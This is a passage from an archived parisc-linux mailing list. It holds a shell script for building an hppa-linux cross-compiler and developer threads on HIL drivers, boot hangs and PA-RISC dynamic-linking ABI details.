	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA21420;
	Sun, 23 Jul 2000 22:03:08 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 20 Jul 2000 12:29:15 PDT."
             <20000720192915.1112.qmail@web4802.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7604

Jeff Towarnicki wrote:
> I am having problems compiling gcc.. I am following
> the recipe but I get problems with include files not
> being found...

Jeff,
I don't the recipe is up-to-date anymore.
(gosh...that happened pretty fast).
It should be updated this coming week sometime.
Either I or Matt Taggart will update it.

In the meantime, you can hack the appended shell script.
(Should only need some initialization changes.)
It worked for me 10 days ago (ie before OLS).

enjoy,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


#!/bin/sh -x
#
# ~/bin/recipe.puffin
#
# build the xcompiler and glibc recipe
# 5/2000
# willy, pb, taggart, grundler, others

# make sure we don't get anything from any existing $PREFIX/bin
PATH=/usr/local/bin:/usr/bin:/bin

# Top level, "include" files also get tmp storage here.
TOP=/linux/grundler

# Where checked-out CVS sources live
SRC=$TOP

# Where your build sub-dirs go
BUILD=$TOP/xc-build

# Where to put the final bits, needs to be owned by the
# current user(to avoid sudo games)
PREFIX=/opt/puffin

# what we build by default
TARGET=hppa-linux
EXTRA_OPT=""

set -- `getopt uwrRp: $*`

while [ $# -gt 0 ]
do
	case $1 in
	-u) cd $TOP
	    cvs -z3 update -d binutils-2.10 gcc glibc
	    ;;
	-R) rm -fr $BUILD/build-gcc $BUILD/build-binutils
	    ;;
	-r) rm -rf $PREFIX/*
	    ;;
	-w) TARGET=hppa64-linux
	    BUILD=${BUILD}64
	    EXTRA_OPT="--enable-64-bit-bfd"
	    # PREFIX=${PREFIX}64 in case we need to start over alot
	    ;;
	-p) if [ -d $2 ]
	    then
		PREFIX=$2
	        shift
	    else
		echo "-p $2 is not a directory."
		exit 2
	    fi
	    ;;
	--)
	    ;;

	*)  set +x
	    echo "Invalid parameter: $1"
	    echo "Usage: recipe.puffin [ -w -u -r -p <prefix> ]"
	    echo "	-w build 64-bit (hppa64-linux) instead of hppa-linux"
	    echo "	-u update binutils-2.10 and gcc from CVS"
	    echo "	-r delete existing file in install directory"
	    echo "	-R delete existing build directories"
	    echo "	-p <prefix> install destination (default: /opt/puffin)"
	    exit 1
	    ;;
	esac
        shift
done

INCLUDE=$PREFIX/$TARGET/include

# Requirements
# o $SRC has binutils-2.10 gcc checked out
# o $PREFIX/include comes from pehc:~ftp/pub/parisc/src/include.tar.gz

# Copy include/asm and include/linux to $PREFIX/include
if [ ! -d $TOP/include ]
then
	echo  Please untar pehc:~ftp/pub/parisc/src/include.tar.gz in $TOP/include first!
	exit 1
fi

mkdir -p $INCLUDE
cp -r $TOP/include/* $INCLUDE
cp -r $SRC/linux-2.3/include/asm $INCLUDE
cp -r $SRC/linux-2.3/include/linux $INCLUDE

# make sure BUILD dirs exist
mkdir -p $BUILD/build-gcc $BUILD/build-binutils

### binutils
cd $BUILD/build-binutils
$SRC/binutils-2.10/configure --target=$TARGET --prefix=$PREFIX --disable-nls \
	$EXTRA_OPT
make
make install

# Prepend $PREFIX/bin to the path to get the right binutils
PATH=$PREFIX/bin:$PATH

cd $BUILD/build-gcc
$SRC/gcc/configure --target=$TARGET --prefix=$PREFIX --disable-nls \
	--without-libc --enable-languages=c

make LIBGCC2_INCLUDES=-I$INCLUDE
make install


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Document Priority?
Date: Thu, 25 Mar 1999 11:49:02 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <199903251649.LAA10372@lucifier.dial-up.user.akula.net>
References: <199903221856.KAA04931@meow.sr.hp.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619018 1857 80.91.229.3 (22 Nov 2014 01:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:58 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Thu Mar 25 11:49:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA21912
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 11:49:16 -0500
Original-Received: (qmail 4836 invoked by uid 15267); 25 Mar 1999 16:48:06 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 4829 invoked from network); 25 Mar 1999 16:48:05 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 16:48:05 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id LAA10372
	for hppa-linux@thepuffingroup.com; Thu, 25 Mar 1999 11:49:02 -0500 (EST)
In-Reply-To: <199903221856.KAA04931@meow.sr.hp.com> from Bill Katz at "Mar 22, 99 10:56:37 am"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7605

hi
looking at the released pdc/iodc docs i'm wondering what is in the missing
chapters? is it possible to release the whole contents table?
what are the plans for the rest of the book(s) ?
and, is there any plan for "pa-risc IO architecture" release any soon?

thanks,
-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Mon, 24 Jul 2000 01:10:06 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20000724081006.25948.qmail@web514.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619018 1860 80.91.229.3 (22 Nov 2014 01:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:58 +0000 (UTC)
To: Gyula Matics <mgyula@pi.satimex.tvnet.hu>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Mon Jul 24 02:08:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA14313
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 02:08:46 -0600
Original-Received: (qmail 10376 invoked by uid 15267); 24 Jul 2000 08:10:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10369 invoked from network); 24 Jul 2000 08:10:36 -0000
Original-Received: from web514.mail.yahoo.com (216.115.104.229)
  by mailserv2.iuinc.com with SMTP; 24 Jul 2000 08:10:36 -0000
Original-Received: from [149.234.12.1] by web514.mail.yahoo.com; Mon, 24 Jul 2000 01:10:06 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7606

--- Gyula Matics <mgyula@pi.satimex.tvnet.hu> wrote:
> > As I wrote earlier to this list ( see
> >
>
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/06-Jun/0018.html
> > ) the linux-2.3-pre8 is not able to boot on a
> 715/old.
> > It hangs during the initialization of the ASP
> chip. So
> > I guess that HIL (which depends on ASP) is not
> working
> > right now either.
> 
> actually, the hang happens during parport
> initialization, when it tests
> for ps2 (bi-directional) support.
> 
> It works fine without parport support.
> 
> Gyula
> 
> 

Thanks for the tip. Now the kernel boots until the
sash prompt.

Ulrich


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail  Free email you can access from anywhere!
http://mail.yahoo.com/


From - Thu Nov 08 21:12:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP/UX 10.20 800 series media?
Date: Mon, 24 Jul 2000 11:53:06 -0500
Organization: @Home Network
Lines: 11
Approved: news@gmane.org
Message-ID: <397C7472.98FA73C7@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619018 1865 80.91.229.3 (22 Nov 2014 01:16:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Mon Jul 24 11:04:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19283
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 11:04:18 -0600
Original-Received: (qmail 1666 invoked by uid 15267); 24 Jul 2000 17:06:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1659 invoked from network); 24 Jul 2000 17:06:10 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 24 Jul 2000 17:06:10 -0000
Original-Received: from home.com ([24.3.241.137]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000724170609.JCFS17075.mail.rdc1.ne.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Mon, 24 Jul 2000 10:06:09 -0700
X-Mailer: Mozilla 4.73 [en]C-AtHome0402  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7607


I know this is off topic, but I just aquired a k200
and I'd like to know where to get the HP/UX 10.20
install media. I have an 8 user license, I just need
the media.

Now on subject. K200 working in Linux and if so
is there SMP support yet?

-Matt


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX 10.20 800 series media?
Date: Mon, 24 Jul 2000 14:40:24 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20000724144024.B25594@vodka.thepuffingroup.com>
References: <397C7472.98FA73C7@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619019 1867 80.91.229.3 (22 Nov 2014 01:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Hudson <mhudson@home.com>
Original-X-From: willy@thepuffingroup.com  Mon Jul 24 13:43:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA20928
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 13:43:57 -0600
Original-Received: (qmail 14988 invoked by uid 15267); 24 Jul 2000 19:45:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14973 invoked from network); 24 Jul 2000 19:45:47 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Jul 2000 19:45:47 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA26997;
	Mon, 24 Jul 2000 14:40:24 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <397C7472.98FA73C7@home.com>; from Matthew Hudson on Mon, Jul 24, 2000 at 11:53:06AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7608

On Mon, Jul 24, 2000 at 11:53:06AM -0500, Matthew Hudson wrote:
> Now on subject. K200 working in Linux and if so
> is there SMP support yet?

we're not really interested in supporting the k class right now.
it's pretty similar to early C/J class (C100, C110, J200, J210), but it
has some `interesting' devices in it that may be hard to support (the
SCSI adapter looks slightly strange).  we don't have any SMP support yet
and this machine won't be high on the priority list when we do start
working on SMP.  i guess you're going to have to join in and do some
hacking yourself :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL hardware Qs
Date: Mon, 24 Jul 2000 16:06:57 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0007241534010.18094-100000@mojo.calyx.net>
References: <397C7472.98FA73C7@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619019 1869 80.91.229.3 (22 Nov 2014 01:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Mon Jul 24 14:05:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21509
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 14:05:13 -0600
Original-Received: (qmail 4481 invoked by uid 15267); 24 Jul 2000 20:07:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4424 invoked from network); 24 Jul 2000 20:07:02 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 24 Jul 2000 20:07:02 -0000
Original-Received: (qmail 11666 invoked from network); 24 Jul 2000 16:06:59 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (vn6s8oir4qr5h846b6dl@208.132.136.2)
  by mail.calyx.net with SMTP; 24 Jul 2000 16:06:59 -0400
In-Reply-To: <397C7472.98FA73C7@home.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7609


OK, well this weekend I finally started working on a linux-input 
style driver for the HIL.  Unfortunately, I'm working with nothing
but other people's source and bare metal... I asked earlier
and noone came up with any substantial docs on the HIL.

So far the OpenBSD HIL driver has been the most helpful source.
While the linux driver does the wiser thing and does all the
key cooking in software, it's really just a basic bootstrap 
driver.  The BSD driver is prepared to deal with other devices 
on the HIL bus.

I'm trying to get a good abstraction of the HIL from the devices
on it as per the linux-input model (HIL ports -> struct serio and HIL
devices- > struct input)

My questions revolve around a comment at the polloff/pollon
functions in the BSD driver and the true nature of the relationship
between the 8042 and the HIL.  

/*
 * Send a command to a device on the loop.
 * Since only one command can be active on the loop at any time,
 * we must ensure that we are not interrupted during this process.
 * Hence we mask interrupts to prevent potential access from most
 * interrupt routines and turn off auto-polling to disable the
 * internally generated poll commands.
 */

The code then proceeds to tell the 8042 to stop polling.  I thought
the 8042 was basically just an adaptor to accomodate the PS/2-style
keyboards and mice.  But when I turn off the 8042 polling, I no 
longer get any interrupts even from my HIL keyboard.  So I guess the
8042 here is an integral part of the HIL.

Turning off/on polling as they suggest would cause a tangle as far
as clean abstraction between the HIL and the devices on it.  Not
insurmountable, but not something to be writing if I don't absolutley
have to.

So the first question is... were the BSD guys being completely
paranoid, or do we really have to worry about internally generated
commands on the loop?  If so, is there a better way to safeguard this.
Third, if I have to abandon using the IRQ and just poll from a timer,
do we have all the timer_list guts yet, or is that area incomplete?

Finally, can anyone explain the HIL_68K intricacy and what's going on
there? 

Anyone with better docs or source on hand than what I have, please
do send them.

BTW, I won't even really be able to compile this code until we do another
merge with the mainstream source, because the linux-input/linux-console
project keeps their CVS pretty bleeding edge, so don't expect anything 
functional too very soon.

--
Brian S. Julin



From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Mon, 24 Jul 2000 16:58:47 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <200007250000.RAA03038@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619019 1870 80.91.229.3 (22 Nov 2014 01:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:59 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "David Huggins-Daines" <dhd@linuxcare.com>
Original-X-From: cary@cup.hp.com  Mon Jul 24 17:59:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA25373
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 17:59:02 -0600
Original-Received: (qmail 17156 invoked by uid 15267); 25 Jul 2000 00:00:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17138 invoked from network); 25 Jul 2000 00:00:51 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 00:00:51 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (Postfix) with ESMTP
	id E2C4A450; Mon, 24 Jul 2000 17:00:50 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id RAA03038;
	Mon, 24 Jul 2000 17:00:50 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7610

>I was hoping to write up a preliminary ABI specification based on the
>64-bit ELF implementation on HP/UX, so I've been trying to find
>detailed specifications on how the ELF64 ABI actually works but so far
>have not come up with much information from HP's documentation.  The
>64-bit runtime architecture document has some useful information, but
>I suspect I'll have to look at the actual implementation to nail down
>the details.

As the HP-UX Runtime Architect, I'll be happy to answer any questions you 
may have on the runtime architecture. I realize that the 64-bit runtime 
architecture is weak in the dynamic loading area, but I'll try to make up 
for that by answering questions in this forum.


>One thing I am sure of is that if we try to follow the HP/UX ELF64
>specification for dynamic linking on 32-bit Linux we are going to be
>substantially different from other Linux/ELF platforms.  In
>particular, the handling of inter-module calls and function pointers,
>and the management of the GP, are done in a totally different way from
>all the other platforms I've encountered (i386, m68k, alpha).
>(i.e. inter-module calls are handled by another set of stubs, and GP
>management is done by the caller via the function descriptors, rather
>than by the callee with GPDISP and similar relocations)

The model used for PA-RISC is a a consequence of the segmented 
architecture, where the text and data segments are not adjacent. Since 
the PA-RISC sharing model is based on global virtual addresses, the text 
and data segment are loaded in separate quadrants of the address space so 
that the text can be shared and the data can be process-private. As a 
result, a procedure cannot materialize its own gp, since there is no 
fixed pc-relative offset between the text and data. This means that the 
caller must materialize the gp prior to the call, or as part of the call.

By the way, this model is also being used for IA-64. You may be able to 
leverage some of the work being done for ld.so on that platform.

It shouldn't really complicate the dynamic loader that much, though. A 
function pointer is still essentially a function pointer, and behaves the 
same as in the other model, even though it points to a 128-bit descriptor 
rather than an actual function. The linker needs to allocate a GOT entry 
for each import stub (aka "proxy") it creates, and attach a dynamic FPTR 
relocation to that GOT entry. The dynamic loader needs to create the 
function descriptor when it processes the FPTR relocation.

Lazy binding requires a bit of cleverness. We do it by dynamically 
creating lazy-binding stubs that load a module id and a PLT index into 
registers, then branch to a common bind-on-reference routine.


Cary Coutant
HP-UX Runtime Architect


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: 24 Jul 2000 17:05:50 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <m3u2dfm5up.fsf@otr.mynet.cygnus.com>
References: <200007250000.RAA03038@adlmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619020 1873 80.91.229.3 (22 Nov 2014 01:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:00 +0000 (UTC)
Cc: "David Huggins-Daines" <dhd@linuxcare.com>,
        <parisc-linux@thepuffingroup.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: drepper@redhat.com  Mon Jul 24 18:14:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA25996
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 18:14:22 -0600
Original-Received: (qmail 28811 invoked by uid 15267); 25 Jul 2000 00:16:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28793 invoked from network); 25 Jul 2000 00:16:12 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 00:16:12 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA06765;
	Mon, 24 Jul 2000 17:06:14 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 5EADC30C0; Mon, 24 Jul 2000 17:05:50 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Cary Coutant's message of "Mon, 24 Jul 2000 16:58:47 -0700"
Original-Lines: 14
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:7611

Cary Coutant <cary@cup.hp.com> writes:

> Lazy binding requires a bit of cleverness. We do it by dynamically 
> creating lazy-binding stubs that load a module id and a PLT index into 
> registers, then branch to a common bind-on-reference routine.

We will have our own lazy-binding mechanisms (close to Sun's
approach).  So don't plan to bring this in.  You can live without it
for now.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: 24 Jul 2000 20:23:24 -0400
Organization: Linuxcare, Inc.
Lines: 45
Approved: news@gmane.org
Message-ID: <87zon7qcqr.fsf@linuxcare.com>
References: <200007250000.RAA03038@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619020 1879 80.91.229.3 (22 Nov 2014 01:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:00 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Mon Jul 24 18:26:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA26564
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 18:26:46 -0600
Original-Received: (qmail 5258 invoked by uid 15267); 25 Jul 2000 00:28:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5220 invoked from network); 25 Jul 2000 00:28:36 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 00:28:36 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13GsVJ-0007i6-00; Mon, 24 Jul 2000 20:23:25 -0400
Original-Lines: 44
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7612

Cary Coutant <cary@cup.hp.com> writes:

> The model used for PA-RISC is a a consequence of the segmented 
> architecture, where the text and data segments are not adjacent.

For what it's worth our ELF32 runtime conventions do not use
segmentation at all.  That is, in user space, %sr0 and %sr4 through
%sr7 are all set to the same space identifier.

This is in keeping with accepted practice on other 32-bit Linux
platforms where segmentation is used only to provide separate 4G
address spaces for the kernel and userland.

> As a result, a procedure cannot materialize its own gp, since there
> is no fixed pc-relative offset between the text and data. This means
> that the caller must materialize the gp prior to the call, or as
> part of the call.

I can see some advantages in this even with a non-segmented runtime
architecture - theoretically, having the GP be managed by the caller
rather than the callee should make intramodule calls in
position-independent code more efficient.  (I think so at least)

One thing I have not figured out is how the GP is "bootstrapped" in
the startup code for the dynamic linker itself - how does ELF64 on
HP/UX deal with this problem?

> By the way, this model is also being used for IA-64. You may be able to 
> leverage some of the work being done for ld.so on that platform.

Thanks for the tip... as it turns out, the author of the dynamic
linker support for GNU libc on IA-64 sits two cubes away from me, so
that should be quite helpful indeed :-)

> Lazy binding requires a bit of cleverness. We do it by dynamically 
> creating lazy-binding stubs that load a module id and a PLT index into 
> registers, then branch to a common bind-on-reference routine.

For the moment I am not going to worry about lazy binding at all,
though it is certainly a requirement in the future.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Tue, 25 Jul 2000 11:12:28 +1000 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007251104320.6775-100000@front.linuxcare.com.au>
References: <87zon7qcqr.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619020 1882 80.91.229.3 (22 Nov 2014 01:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:00 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Jul 24 19:16:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA27321
	for <parisc-linux@puffin.external.hp.com>; Mon, 24 Jul 2000 19:16:09 -0600
Original-Received: (qmail 8560 invoked by uid 15267); 25 Jul 2000 01:18:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8510 invoked from network); 25 Jul 2000 01:17:59 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 01:17:59 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA10994;
	Tue, 25 Jul 2000 11:12:28 +1000
In-Reply-To: <87zon7qcqr.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7613

On 24 Jul 2000, David Huggins-Daines wrote:

> Cary Coutant <cary@cup.hp.com> writes:
> 
> > The model used for PA-RISC is a a consequence of the segmented 
> > architecture, where the text and data segments are not adjacent.
> 
> For what it's worth our ELF32 runtime conventions do not use
> segmentation at all.  That is, in user space, %sr0 and %sr4 through
